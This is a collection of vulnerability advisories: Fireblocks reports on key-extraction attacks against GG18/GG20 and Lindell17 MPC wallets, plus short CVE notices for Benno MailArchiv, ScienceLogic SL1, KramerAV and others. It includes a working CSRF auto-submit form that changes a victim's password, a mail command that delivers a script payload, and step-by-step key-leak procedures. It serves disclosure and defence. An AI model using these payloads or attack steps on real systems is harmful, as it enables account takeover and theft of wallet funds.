Crypto wallets implementing the GG18 or GG20 TSS protocol might allow an attacker to extract a full ECDSA private key by injecting a malicious pallier key and cheating in the range proof. Depending on the Beta parameters chosen in the protocol implementation, the attack might require 16 signatures or more fully exfiltrate the other parties' private key shares.

This newfound vulnerability allows an attacker to extract a full private key from any wallet using the GG18 and GG20 protocols. More than 10 wallets and libraries have been found vulnerable, including Binance custody.

**Executive Summary**

Fireblocks’ research team has discovered a vulnerability in the specification of two popular multi-party computation (MPC) protocols: GG18 and GG20. These protocols are considered pioneering for the MPC wallet industry and have been widely adopted by companies in the space. The vulnerability was found at the pseudocode level, and **all vendors implementing the protocol should be considered vulnerable**. The vulnerability can be exploited **to exfiltrate the key.**

The vulnerability originates with parties not checking to see if the attacker’s Paillier modulus, denoted N, has small factors or that it is a biprime. If exploited, the vulnerability allows a threat actor interacting with the signatories in the MPC protocol to steal their secret shards and ultimately obtain the master secret key. The severity of the vulnerability depends on the implementation parameters, so different parameter choices give rise to different attacks with varying degrees of effort/resources required to extract the full key.  
**Some implementations are vulnerable to key extraction in 16 signatures**, while others could require as many as 1 billion signatures.

The exploit was validated on major open source implementations and a working POC was built on one of the open libraries.

We ran a responsible disclosure process with more than 10 wallet providers, blockchains and libraries in parallel and actively looked for impacted products, but given the popularity of the protocols we assume additional products might be impacted.

**Vulnerability Risk Profile**

The vulnerability is a full private key extraction vulnerability allowing the attacker to steal all funds that are kept in the crypto wallet. The main source of the vulnerability is that the signatories’ Paillier public keys are not checked for small prime factors, where a prime of size, sayß, 2\*\*20 is considered small. 

Since the severity of the vulnerability depends on the implementation parameters, different parameter choices give rise to different attacks with varying degrees of effort/resources required to extract the full key. Namely, the distinguishing parameter choices are as follows:

**1.**  Beta Parameter in MTA ~ q^5 (where q is the size of the elliptic curve)

**2.**  Beta Parameter in MTA ~ N (where N is the Paillier public key of the compromised party

_a. N is not checked for small factors at all (not even 3,5,7,..)_  
_b. N is checked manually for smallish factors (< 2\*\*12)_

**_Case 1._** By using maliciously-crafted messages, the attacker obtains leakage of the private key shards of the parties by interacting with the signatories in the first round of the MPC protocol. To obtain the full private key, it is sufficient to iterate the attack **sixteen** times. 

A specific sub-scenario of Case1 was identified in the Apache Milagro library which had an extremely low beta parameter (256 bits) allowing an attacker to extract the key without crafting any malicious messages and simply recovering the key from the transcript of the signature ceremony.  

**_Case 2._** In this case, the attacker actively controls one of the signatories (so it also needs to “know” the corresponding secret shard) and interacts with the signatories for the entire MPC protocol. By using maliciously-crafted messages, the attacker obtains leakage of the private key shards whenever the signature generation process terminates successfully. The total number of signature-generation attempts depends on the number of parties and the malicious Paillier modulus N. For two parties, the number of (failed) signatures ranges from 200K (for case 2.a) to 1B (for case 2.b).  

**Recommended mitigation for clients**

Since GG18/20 is a widely used MPC protocol and the vulnerability affects all users of the protocol it’s important to understand what parameters are being used and act accordingly. If you are using an open source library please make sure that it was upgraded. Some of the commonly used libraries for GG18/20 are no longer actively maintained and using them can be risky.

To fix the issue, we recommend using a key-generation process that can detect maliciously formed Paillier modulus using a suitable ZK proof. 

**A short introduction to MPC and GG 18/20 protocol**

Multi-party computation (MPC)offers an innovative way for several parties to collaboratively generate a shared public key and jointly sign transactions, thereby eliminating the risk of a single point of failure. Specifically, within a MPC-enabled wallet, an attacker must breach a sufficient number of parties possessing a _key share_. This contrasts with the traditional non-threshold paradigm, where compromising a single party suffices to gain control of the wallet.

The Elliptic Curve Digital Signature Algorithm (ECDSA) is the preferred signature scheme within the blockchain space. Even though ECDSA is a traditional non-threshold signature scheme, it can be transformed into a threshold variant through MPC.

GG18, along with the follow-up GG20, are among the most widely-used MPC protocols for threshold-ECDS. Both protocols make extensive use of advanced cryptographic techniques like homomorphic (Paillier) encryption and zero-knowledge proofs. At a high level, the parties in the protocol perform calculations and exchange messages in a predetermined way, and the protocol uses zero-knowledge proofs to validate that no party deviates from the protocol instructions.

**Technical Attack Description**

The attack differs depending on the beta parameter, so in this section we will be talking about two separate attacks. 

Our first attack (case 1) exfiltrates the key in 16-bit chunks at a time and 16 signatures suffice to recover the key in full, regardless of the number of parties.  

Our second attack (case 2) exfiltrates the key also 16 bits at a time but the success probability of the attacker (i.e. the probability that the attack will result in leakage) is somewhat small, and thus the attack needs to be iterated many times (as many as 1B in certain cases) in order to recover the key in full. Furthermore, our second attack deteriorates with the number of parties, so recovering the key in full when a single party is compromised against two honest parties is twice as expensive, in terms of the number of required signatures to extract the key, compared to a single honest party.  

Both of our attacks target the so-called Multiplication-to-Addition phase which proceeds as follows (this phase of the protocol is executed between each pair of parties; for simplicity we only assume two parties, A and B).

**1.** A sends Enc(k) to B encrypted under A’s own Paillier pk N, where k is a random value.

_A also sends a zero-knowledge proof (ZKP) that k is not-too-big a value_

**2.** B sends Enc(k\*x + \\beta) to A by homomorphically evaluating the above, where \\beta is a random value and x is B’s ECDSA private share.

_B also sends a ZKP that calculates the above correctly._

**3.** A outputs \\alpha = k\*x + \\beta % N by decrypting the above and B outputs \\beta 

**Prep for both attacks.** Party is malicious in both attacks and A picks a Paillier modulus composed of 16 small primes p1, … p16 of bit-length 16, and a single big prime q (to match the expected length of N). A sets N = p1p2…p16\*q 

Then, for both attacks, 

**1.** A will choose a malicious k = N/pi (this choice is malicious because k is almost as big as N which the ZKP is supposed to detect) 

_The value of k is updated after each successful attack (k= N/p1, N/p2, N/p3…)_

**2.** A cheats in the ZKP to pass the malicious k as benign. 

_We omit the details of the above which can be found in the technical research paper._ 

**Case 1.**

As soon as A obtains \\alpha, it deduces x % pi = (\\alpha – \[\\alpha % N/pi\])/ (N/pi)

After 16 signature attempts in total, A recovers the x’s in full from all parties using Chinese Remainder Theorem (CRT).

**Case 2.**

The previous leakage is no longer relevant because the value of \\alpha is implicitly reduced modulo N on B’s side, and, because beta is as big as N, \\alpha perfectly hides x. To obtain leakage on x, compromised party A does the following: it guesses that x \\mod pi = y (at random) and reassigns \\alpha = \\alpha – y \* N/pi % N, and proceeds as the protocol prescribes until the end. 

If the signature is valid at the end of the execution, then the guess was correct and A proceeds to the next attack. If the signature is invalid there is no leakage (it may be that x \\mod pi = y and yet the signature is invalid because of other random choices in the attack).

After 16 successful leakages for each of the honest parties, A recovers the secret in full using the Chinese remainder theorem.

_On the expected number of signatures to extract the key._ We note that there is a tradeoff between the number of signatures, the number of honest, non-compromised, parties, and the size of the primes. For instance, in the presence of a single non-compromised party, when choosing the smallest possible primes {3,5,..,} our attack extracts the key with probability 2\*\*(-40) after 200K signatures, or with probability 0.5 after approx 1M signatures. 

For bigger primes, e.g. choosing p1, p2, … t be roughly 2\*\*12, our attack extracts the key with probability 0.15 after 2B signatures (cf. research document).  

**Responsible Disclosure**

We found and validated the vulnerability by May 5th, 2023 and started identifying affected parties. Thus initiating a multi company 90-day responsible disclosure process with more than 10 vendors and library publishers.

On August 9th, 2023 we published our findings publicly and attached a CVE for this issue: CVE-2023-33241.

**Affected Open Source Libraries**

*   https://github.com/bnb-chain/tss-lib
*   https://github.com/Safeheron/multi-party-ecdsa-cpp – prior to patch (validated by library maintainers)
*   https://github.com/ZenGo-X/multi-party-ecdsa – the GG protocols in the library are not actively maintained and not patched
*   https://github.com/apache/incubator-milagro-MPC – prior to patch (validated by library maintainers)
*   https://github.com/BitGo/BitGoJS/tree/master/modules/sdk-core/src/bitgo/utils/tss/ecdsa

**POC:** https://github.com/fireblocks-labs/safeheron-gg20-exploit-poc

**CVE Link:** https://www.cve.org/CVERecord?id=CVE-2023-33241

**Academic paper:** https://github.com/fireblocks-labs/mpc-ecdsa-attacks-23

CVE-2023-33241: GG18 and GG20 Paillier Key Vulnerability [CVE-2023-33241]: Technical Report - Fireblocks

Crypto wallets implementing the Lindell17 TSS protocol might allow an attacker to extract the full ECDSA private key by exfiltrating a single bit in every signature attempt (256 in total) because of not adhering to the paper's security proof's assumption regarding handling aborts after a failed signature.

This vulnerability allows an attacker to extract a full private key from a wallet implementing Lindell17 2PC protocol, by extracting a single bit in every signature attempt (256 in total). Coinbase WaaS, Zengo and other libraries have been patched.

**Executive Summary**

Fireblocks’ research team found a vulnerability in real-world deployments of the Lindell17 threshold-ECDSA protocol. The vulnerability was found at the interface between the protocol and the wider security infrastructure, and all security products based on Lindell17 are potentially affected. We found multiple wallet-as-a-service providers, retail wallets, and open source libraries that were vulnerable to this attack to varying degrees of exploitability.

The exploit originates from Lindell17 implementations deviating from the specification of the academic paper and ignoring or mishandling aborts in case of failed signatures. Assuming privileged access on the part of the attacker, the vulnerability can be exploited to exfiltrate the key after approximately 200 signature requests. The vulnerability has been proven to be practical and validated on popular open source libraries and some real-world systems.

Practical implementations of the protocol for wallets often encounter a difficult dilemma: either halt operations after a failed signature, which could potentially result in locked funds, or continue with the signing process, thereby risking the exposure of additional key bits with each signature.

The vulnerability was initially discovered in ZenGo wallet and then verified in the Coinbase Wallet as a Service (WaaS) library, with additional wallet providers and libraries impacted. It was also validated with a working POC in a common open source implementation of the protocol (link below). Both Coinbase and ZenGo have mitigated the issue promptly as part of our responsible disclosure process and assured us that they checked and no wallets were exploited.

**Vulnerability Risk Profile**

The vulnerability enables full private key extraction, allowing attackers to steal all funds from the crypto wallet. However, it is an _asymmetric_ vulnerability, meaning the attacker must corrupt a specific party to mount the attack (i.e., the parties are not indistinguishable in terms of the attack).

To elaborate, the Lindell17 protocol is typically employed for wallets that involve a wallet provider and an end user, with the underlying secret key distributed between the two. Additionally, there are two possible configurations for the wallet: either the wallet provider (Service) finalizes the signature, or the end user (Client) does so at the end of the protocol. The party tasked with finalizing the signature is the one at risk, and an attacker can exploit this vulnerability by compromising the counterparty.

**Case 1.** Server finalizes the signature

In this case, the attacker may exfiltrate the key by compromising the Client and sending malicious messages on its behalf. Specifically, the attacker may initiate two hundred transactions such that, in each signature session, the attacker crafts a different malicious message which will result in a valid signature _only if a targeted bit the Server’s secret share is equal to zero._ 

Thus, depending on whether the Server finalizes the signature or not (the attacker obtains this information either because the signature does or doesn’t appear on the Blockchain, or the Server itself notifies the attacker), the attacker obtains a bit of the Server’s share. It eventually can recover the key in full after 256 signatures.

We should note that the above attack could be expedited if signature requests can be “blitzed” (rapidly initiated one after another), which is typically possible as the server is usually automated and doesn’t significantly limit the number of signatures.

**Case 2.** Client finalizes the signature 

In the second case, by compromising the Server and executing the above attack in reverse, the attacker may extract the key in an analogous way.

It’s worth noting that there may be additional safeguards in place to limit the attack’s exploitability. For example, the signing of transactions might require multi-factor authentication from the user. Consequently, frequent authentication requests could raise suspicion, diminishing the efficiency of a rapid “blitz” attack. However, if the server remains compromised over an extended period, the attacker might opt for a slower-paced attack, reducing its detectability by users that might be willing to do a “retry” and just assume the system is not very stable rather than that they are being attacked.

**Recommended mitigation for clients**

Note that the above attack can be identified by the server because of the failed signature. Namely, after the data-processing step, the server reconstructs a string that does not verify according to the ECDSA verification algorithm. This event should **never** happen unless the system is attacked (or it has a serious bug). We recommend tracking these events and distinguishing them from other abort events, e.g. time-outs.

If you are using the protocol as a self implementation or an open source of the protocol you should upgrade to a non vulnerable version or implement your own abort mitigation mechanism that would not allow an attacker to extract additional bits after the first failed transaction.

An alternative approach is to use a ZK proof for the client’s last message.

**A short introduction to the Lindell17 protocol**

The Lindell17 protocol employs homomorphic encryption (specifically, Paillier encryption) for generating ECDSA signatures in the client-server model, where each party holds a share of the ECDSA secret key. For the purposes of this presentation, we’ll assume the server finalizes the signature. At its core, the protocol consists of the client computing a partial signature encrypted with the server’s Paillier public key and sending the resultant ciphertext to the server. In turn, the server finalizes the partial signature into a full signature by decrypting the ciphertext and performing some data processing.

**Overview of the Attack**

When deployed for security-oriented applications, special care must be taken for so-called _abort events_, i.e. what should the honest server do if it fails to finalize the signature? The paper does not describe an abort-handling mechanism and it explicitly instructs the signatories to terminate signing operations in such an event. 

We show that ignoring failed signatures leads to a vulnerable protocol which can be exploited  as follows by a corrupted client. Using the notation from the picture, the client calculates _C_ such that _C_ is an encryption of _sig\*_ only if the least significant bit (lsb) of _x_ is zero and otherwise _C_ is an encryption of a random number (if the lsb of _x_ is one). Thus, when the server obtains _C_, the signature-generation process will terminate successfully only if the lsb of x is zero, and this information is inadvertently leaked to the attacker. Then, if signing operations are not terminated, this attack can be iterated to obtain the higher-order bits. By combining with brute-force techniques, the key can be recovered in full after roughly 200 signature attempts.

**Technical Attack Description**

We recall that (standard) ECDSA signatures are calculated as follows: 

**1.** Sample ephemeral key k

     _(a random number between 1 and q, where q is an ECDSA constant)_

**2.** Calculate the public nonce r which is a function of k and public parameters

**3.** Set  s = (HASH(msg) + r x ) \* k^(-1) % q where msg is the message for signing and x is the ECDSA private key.

**4.** Output (r,s)

In the Lindell17 protocol, the secret material (i.e. the k and the x) are split between the two parties such that k = k1\*k2 and x = x1+x2 and each party holds the relevant secret (say the client holds k1, x1 and the server holds k2, x2) 

Furthermore, after the parties calculate r,  the client is instructed to send the server the following value encrypted under the the server’s Paillier key (the clients calculates this value by homomorphically operating on Enc(x2)) : 

C =  Enc(HASH(msg)+r\* x1 \* (k1^(-1) % q)+  x2 \*r \* (k1^(-1) % q)) 

Once the server receives C, it calculates s = k2^(-1)\*dec(C) \\mod q  and outputs (r,s) **if it’s a valid signature.**

**Obtaining the LSB (least significant bit)**

To obtain the least significant bit, the client sets k1 = 2 and maliciously sets

C =  Enc(HASH(msg) + r\* x1 \* (k1^(-1) % q)+  x2 \* \\rho \* (k1^(-1) % N)) 

Where N is the public key of the encryption scheme and \\rho = r if r is odd and \\rho = r + q otherwise. In the end of the signature process, the validity of the signature leaks the lsb.

**Iterating the attack to obtain the next bits**

Suppose that the malicious client already knows the i-1 least significant bits (i.e. y = x2 % 2^{i-1}). To obtain the least significant bit, the client sets k1 = 2^i  (the ith power of two) and maliciously sets

C =  Enc(HASH(msg) + r\* x1 \* (k1^(-1) % q)+  x2 \* \\rho \* (k1^(-1) % N) + offset)) 

Where N and \\rho are as above and offset = y\*rho\*((k1^(-1) % q) – (k1^(-1) % N)). In the end of the signature process, the validity of the signature leaks the i-th bit.

**Responsible Disclosure**

We found the vulnerability in a single wallet provider in April 2023. 

At the beginning of May 2023 we validated the vulnerability was affecting multiple wallets and libraries and initiated a 90-day responsible disclosure with multiple wallet providers that were found vulnerable.

On August 9th, 2023 we published our findings publicly and attached a CVE for this issue: CVE-2023-33242.

**Affected Open Source Libraries**

*   https://github.com/coinbase/waas-sdk-react-native – prior to version 1.0.0
*   https://github.com/ZenGo-X/gotham-city / https://github.com/ZenGo-X/multi-party-ecdsa – prior to tag v1.0.0 (https://github.com/ZenGo-X/gotham-city/releases/tag/v1.0.0)

**Additional Links:**

**POC:** https://github.com/fireblocks-labs/zengo-lindell17-exploit-poc

**CVE Link:** https://www.cve.org/CVERecord?id=CVE-2023-33242

**Academic paper (cryptography of the exploits):** https://github.com/fireblocks-labs/mpc-ecdsa-attacks-23

CVE-2023-33242: Lindell17 Abort Vulnerability [CVE-2023-33242]: Technical Report - Fireblocks

A CSRF issue was discovered in LWsystems Benno MailArchiv 2.10.1.

August 9, 2023

The Benno MailArchiv Web-App (benno-web prior 2.1.0.2) is vulnerable to Cross-Site-Request-Forgery.

To exploit the vulnerability the attacker sends a link to a prepared page to a Benno MailArchiv user. The link then is able to trigger actions in the name of the user such as changing the users password (if the user is logged in).

<form action="https://benno.host/admin.php?CA=changePassword" method="post">
<input type="text" name="CA" value="savePassword">
<input type="password" class="input\_text" name="data\[password0\]" value="test123">
<input type="password" class="input\_text" name="data\[password1\]" value="test123">
<input type="password" class="input\_text" name="data\[addresses\]" value='\[{"value":"\*@\*"}\]'>

</form>

<script>
  document.forms\[0\].submit();
</script>

CVE-2023-38348: XSRF in Benno MailArchiv Web-App (benno-web < 2.10.2) (CVE-2023-38348)

An issue was discovered in LWsystems Benno MailArchiv 2.10.1. Attackers can cause XSS via JavaScript content to a mailbox.

August 9, 2023 Sebastian

The Benno MailArchiv Web-App is vulnerable to cross-site-scripting if benno-rest-lib / benno-rest prior 2.10.1 is used.

To exploit the vulnerability the attacker sends an email containing malicious javascript to an mailbox which is archived by Benno MailArchiv. When a user logs into the Benno Web-App and views the malicious e-mail, the javascript is executed.

echo '<script>alert(1)</script>' | mail -s "$(echo -e "This is the subject\\nContent-Type: text/html")" victim@domain.tld

CVE-2023-38347: XSS in Benno MailArchiv Web-App (benno-rest-lib – Sebastian's Blog

Code-Projects Gym Management System V1.0 allows remote attackers to execute arbitrary SQL commands via the login form, leading to unauthorized access and potential data manipulation. This vulnerability arises due to insufficient validation of user-supplied input in the username and password fields, enabling SQL Injection attacks.

*   *   Actions
        
        Automate any workflow
        
    *   Packages
        
        Host and manage packages
        
    *   Security
        
        Find and fix vulnerabilities
        
    *   Codespaces
        
        Instant dev environments
        
    *   Copilot
        
        Write better code with AI
        
    *   Code review
        
        Manage code changes
        
    *   Issues
        
        Plan and track work
        
    *   Discussions
        
        Collaborate outside of code
        
    

*   *   GitHub Sponsors
        
        Fund open source developers
        
    
    *   The ReadME Project
        
        GitHub community articles
        
    
*   Pricing

**Search code, repositories, users, issues, pull requests...**

**Provide feedback**

**Saved searches****Use saved searches to filter your results more quickly**

Sign up

CVE-2023-37068: My-CVE/CVE-2023-37068-Exploit.md at main · Mr-Secure-Code/My-CVE

KramerAV VIA Connect (2) and VIA Go (2) devices with a version prior to 4.0.1.1326 exhibit a vulnerability that enables remote manipulation of the device. This vulnerability involves extracting the connection confirmation code remotely, bypassing the need to obtain it directly from the physical screen.

CVE-2023-33468: CVEs/CVE-2023-33468 at main · Sharpe-nl/CVEs

In instances where the screen is visible and remote mouse connection is enabled, KramerAV VIA Connect (2) and VIA Go (2) devices with a version prior to 4.0.1.1326 can be exploited to achieve local code execution at the root level.

CVE-2023-33469: CVEs/CVE-2023-33469 at main · Sharpe-nl/CVEs

HCL DRYiCE iAutomate is affected by the use of a broken cryptographic algorithm.  An attacker can potentially compromise the confidentiality and integrity of sensitive information.


 

 Loading...

Skip to page contentSkip to chat

Skip to page contentSkip to chat

CVE-2023-23347: Knowledge Article View HCL - Customer Support

A SQL injection vulnerability exists in the “reporter events type” feature of the ScienceLogic SL1 that takes unsanitized user?controlled input and passes it directly to a SQL query. This allows for the injection of arbitrary SQL before being executed against the database.

Skip to content

*   HOME
*   ABOUT
*   ADVISORIES
*   BLOG
*   PROJECTS
*   CONTACT
*   

*   HOME
*   ABOUT
*   ADVISORIES
*   BLOG
*   PROJECTS
*   CONTACT
*   

CVE-2022-48599b0yd2023-08-09T18:26:59+00:00

**The following vulnerability was found in ScienceLogic SL1.******CVE-2022-48599******A SQL injection vulnerability exists in the “reporter events type” feature of the ScienceLogic SL1 that takes unsanitized user‐controlled input and passes it directly to a SQL query. This allows for the injection of arbitrary SQL before being executed against the database.**

*   ScienceLogic SL1 <= 11.1.2
    

**Update to the latest version of ScienceLogic SL1.**

**09.06.2022**

Notified vendor of vulnerability

**10.04.2022**

Vendor hires law firm to manage disclosure

**10.28.2023**

Vendor refuses CVE issuance and disclosure

**11.28.2022**

Vendor’s legal team strongly advises against disclosing to MITRE

**06.07.2023**

Vendor notified of intent to issue CVEs and disclose vulnerabilities

**08.09.2023**

Page load link

Go to Top

CVE-2022-48599: CVE-2022-48599

A SQL injection vulnerability exists in the “notes view” feature of the ScienceLogic SL1 that takes unsanitized user?controlled input and passes it directly to a SQL query. This allows for the injection of arbitrary SQL before being executed against the database.

Skip to content

*   HOME
*   ABOUT
*   ADVISORIES
*   BLOG
*   PROJECTS
*   CONTACT
*   

*   HOME
*   ABOUT
*   ADVISORIES
*   BLOG
*   PROJECTS
*   CONTACT
*   

CVE-2022-48600b0yd2023-08-09T18:27:58+00:00

**The following vulnerability was found in ScienceLogic SL1.******CVE-2022-48600******A SQL injection vulnerability exists in the “notes view” feature of the ScienceLogic SL1 that takes unsanitized user‐controlled input and passes it directly to a SQL query. This allows for the injection of arbitrary SQL before being executed against the database.**

*   ScienceLogic SL1 <= 11.1.2
    

**Update to the latest version of ScienceLogic SL1.**

**09.06.2022**

Notified vendor of vulnerability

**10.04.2022**

Vendor hires law firm to manage disclosure

**10.28.2023**

Vendor refuses CVE issuance and disclosure

**11.28.2022**

Vendor’s legal team strongly advises against disclosing to MITRE

**06.07.2023**

Vendor notified of intent to issue CVEs and disclose vulnerabilities

**08.09.2023**

Page load link

Go to Top